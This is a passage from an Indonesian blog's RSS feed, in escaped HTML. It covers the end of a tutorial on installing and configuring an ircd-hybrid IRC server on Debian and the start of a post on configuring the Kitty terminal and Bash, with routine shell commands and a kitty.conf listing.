window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xvf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8.2.8.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Compile&lt;/em&gt; dan &lt;em&gt;install&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ircd-hybrid-8.2.8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./configure&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Setelah proses instalasi selesai, kita perlu mengkonfigurasi ip address di file konfigurasinya yang terletak di &lt;strong&gt;&lt;code&gt;/etc/ircd-hybrid&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/ircd-hybrid&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;check ircd-hybrid&quot; loading=&quot;lazy&quot; width=&quot;464&quot; height=&quot;259&quot; src=&quot;/_astro/ss4.BK6jOeHV_6VbGG.webp&quot; /&gt;&lt;figcaption&gt;check ircd-hybrid&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ada 3 file dan sebuah direktori di sana:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;cert.cnf&lt;/strong&gt;: file sertifikat.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ircd.conf&lt;/strong&gt;: file konfigurasi ircd-hybrid.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ircd.motd&lt;/strong&gt;: file konfigurasi MOTD (Message of The Day) ircd-hybrid yang akan ditampilkan ketika pertama kali masuk ke server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;key&lt;/strong&gt;: direktori yang berisi beberapa key.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk sekarang, kita bisa mengabaikan &lt;code&gt;cert.cnf&lt;/code&gt;, &lt;code&gt;ircd.motd&lt;/code&gt;, dan direktori &lt;code&gt;key&lt;/code&gt;, karena kita hanya akan mengkonfigurasi file &lt;strong&gt;&lt;code&gt;ircd.conf&lt;/code&gt;&lt;/strong&gt; saja. Seperti sebelumnya ketika mengkonfigurasi IRC Server di inspircd, kita perlu memperhatikan nama server-nya, di sini saya biarkan default:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;irc name server&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;272&quot; src=&quot;/_astro/ss5.Bj1_jtxo_Z1QTt82.webp&quot; /&gt;&lt;figcaption&gt;irc name server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan &lt;em&gt;ip address&lt;/em&gt;-nya perlu diganti dari 127.0.0.1 ke alamat ip lokal / publik agar dapat diakses oleh komputer lain.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;irc server ip address&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;143&quot; src=&quot;/_astro/ss6.DySbihG6_2ah4WM.webp&quot; /&gt;&lt;figcaption&gt;irc server ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, kita bisa memastikan ircd-hybrid sudah &lt;em&gt;running&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ircd-hybrid&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ircd-hybrid status&quot; loading=&quot;lazy&quot; width=&quot;890&quot; height=&quot;401&quot; src=&quot;/_astro/ss7.BpjecJBR_1o1Xfy.webp&quot; /&gt;&lt;figcaption&gt;ircd-hybrid status&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Atau kalau belum running, bisa diaktifkan dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ircd-hybrid&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita bisa memastikan juga ircd-hybrid sudah berjalan dengan melihat port yang aktif:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;netstat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-tupln&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ircd-hybrid is running on port 6697&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;170&quot; src=&quot;/_astro/ss9.DfLnV72L_a2Wa5.webp&quot; /&gt;&lt;figcaption&gt;ircd-hybrid is running on port 6697&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kalau ircd-hybrid sudah &lt;em&gt;running&lt;/em&gt;, itu artinya kita sudah berhasil membuat IRC Server dengan ircd-hybrid.&lt;/p&gt;&lt;p&gt;Berikut adalah demonstrasi saya masuk ke IRC server yang saya &lt;em&gt;install&lt;/em&gt; di Debian2 dari Debian1. Dengan kata lain, IRC server saya adalah Debian2, sementara client-nya adalah Debian1.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Connect to IRC Server (ircd-hybrid)&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;626&quot; src=&quot;/_astro/gif4.CLdgcTDU_1Ep6Hm.webp&quot; /&gt;&lt;figcaption&gt;Connect to IRC Server (ircd-hybrid)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/IRC&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/IRC&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.radware.com/security/ddos-knowledge-center/ddospedia/irc-internet-relay-chat/&quot; target=&quot;_blank&quot;&gt;https://www.radware.com/security/ddos-knowledge-center/ddospedia/irc-internet-relay-chat/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.irchelp.org/networks/popular.html&quot; target=&quot;_blank&quot;&gt;https://www.irchelp.org/networks/popular.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.inspircd.org/4/installation/source/&quot; target=&quot;_blank&quot;&gt;https://docs.inspircd.org/4/installation/source/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ircd-hybrid/ircd-hybrid/blob/8.2.x/INSTALL.md&quot; target=&quot;_blank&quot;&gt;https://github.com/ircd-hybrid/ircd-hybrid/blob/8.2.x/INSTALL.md&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Configuring Kitty &amp; Bash</title><link>https://shangdi.github.io/posts/tech/kittyconfig/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/kittyconfig/</guid><pubDate>Tue, 10 Sep 2024 03:53:50 GMT</pubDate><content:encoded>&lt;p&gt;Yup, seperti judul artikel ini, saya akan mengabadikan cara saya mengkonfigurasi salah satu terminal (yang saat ini menjadi) favorit saya, yaitu &lt;a href=&quot;https://github.com/kovidgoyal/kitty&quot; target=&quot;_blank&quot;&gt;Kitty&lt;/a&gt;. Selain itu, artikel ini juga akan menyertakan cara mengkonfigurasi salah satu &lt;em&gt;shell prompt&lt;/em&gt; yang secara &lt;em&gt;default&lt;/em&gt; menjadi shell dari kitty, yaitu &lt;a href=&quot;https://www.gnu.org/software/bash/&quot; target=&quot;_blank&quot;&gt;Bash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pada akhirnya, output dari artikel ini adalah sebuah terminal dengan tampilan seperti berikut:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;508&quot; src=&quot;/_astro/ss1.B1iXFplk_1HBRFK.webp&quot; /&gt;&lt;/p&gt;
&lt;section&gt;&lt;h1&gt;Kitty&lt;a href=&quot;#kitty&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Kitty adalah sebuah terminal emulator yang &lt;em&gt;cross-platform&lt;/em&gt;, &lt;em&gt;feature-rich&lt;/em&gt;, dan &lt;em&gt;GPU-based&lt;/em&gt;. Jadi, kitty bisa digunakan di semua sistem operasi, terutama sistem operasi desktop seperti MacOS, Windows, dan tentu saja Linux. Selain itu, kitty juga memiliki banyak fitur, misalnya seperti mouse feature, themes, dan masih banyak lagi. Kitty juga adalah terminal emulator berbasis GPU menggunakan OpenGL untuk melakukan &lt;em&gt;rendering&lt;/em&gt;. Terakhir, secara desain, Kitty juga diciptakan dengan tujuan untuk memaksimalkan kebutuhan pengguna terminal yang sangat bergantung pada keyboard. Artinya, meskipun kitty juga &lt;em&gt;mouse-interaction-friendly&lt;/em&gt;, tapi kitty dapat dikontrol dengan keyboard. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Kitty Installation&lt;a href=&quot;#kitty-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pertama, kita akan melakukan instalasi kitty…&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install kitty&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy kitty&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install kitty&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install chafa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Atau kita bisa meng-&lt;em&gt;compile&lt;/em&gt;-nya langsung dari repo resminya di github:&lt;/p&gt;&lt;a href=&quot;https://github.com/kovidgoyal/kitty&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;kovidgoyal&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;kitty&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Kitty Configuration&lt;a href=&quot;#kitty-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;File konfiguasi kitty tersimpan di &lt;strong&gt;&lt;code&gt;~/.config/kitty/kitty.conf&lt;/code&gt;&lt;/strong&gt;. Atau kalau tidak ada, kita bisa membuatnya sendiri dengan mengetikkan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/kitty&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/kitty/kitty.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah isi file konfigurasi kitty saya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;kitty.conf&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# APPEARANCE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# font&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font_family&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FiraCode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font_size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# colors&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# background #000000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;#2f343f&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;foreground&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;#ffffff&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# opacity&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background_opacity&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# KEYBINDS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;map&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ctrl+shift+c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;copy_to_clipboard&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;map&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ctrl+shift+v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;paste_from_clipboard&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# SCROLLING&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scrollback_lines&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# TABS AND WINDOWS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tab_bar_edge&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;active_tab_foreground&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;#ff5555&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# CURSOR&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;shell_integration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;no-cursor&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cursor_shape&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;block&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cursor_beam_thickness&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cursor_blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# MOUSE INTERACTIONS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable_mouse&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# STARTUP OPTIONS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;initial_window_width&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;800&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;initial_window_height&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;600&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# WINDOW TITLE BAR&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;window_title_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;current_directory&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;./tokyo_night.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
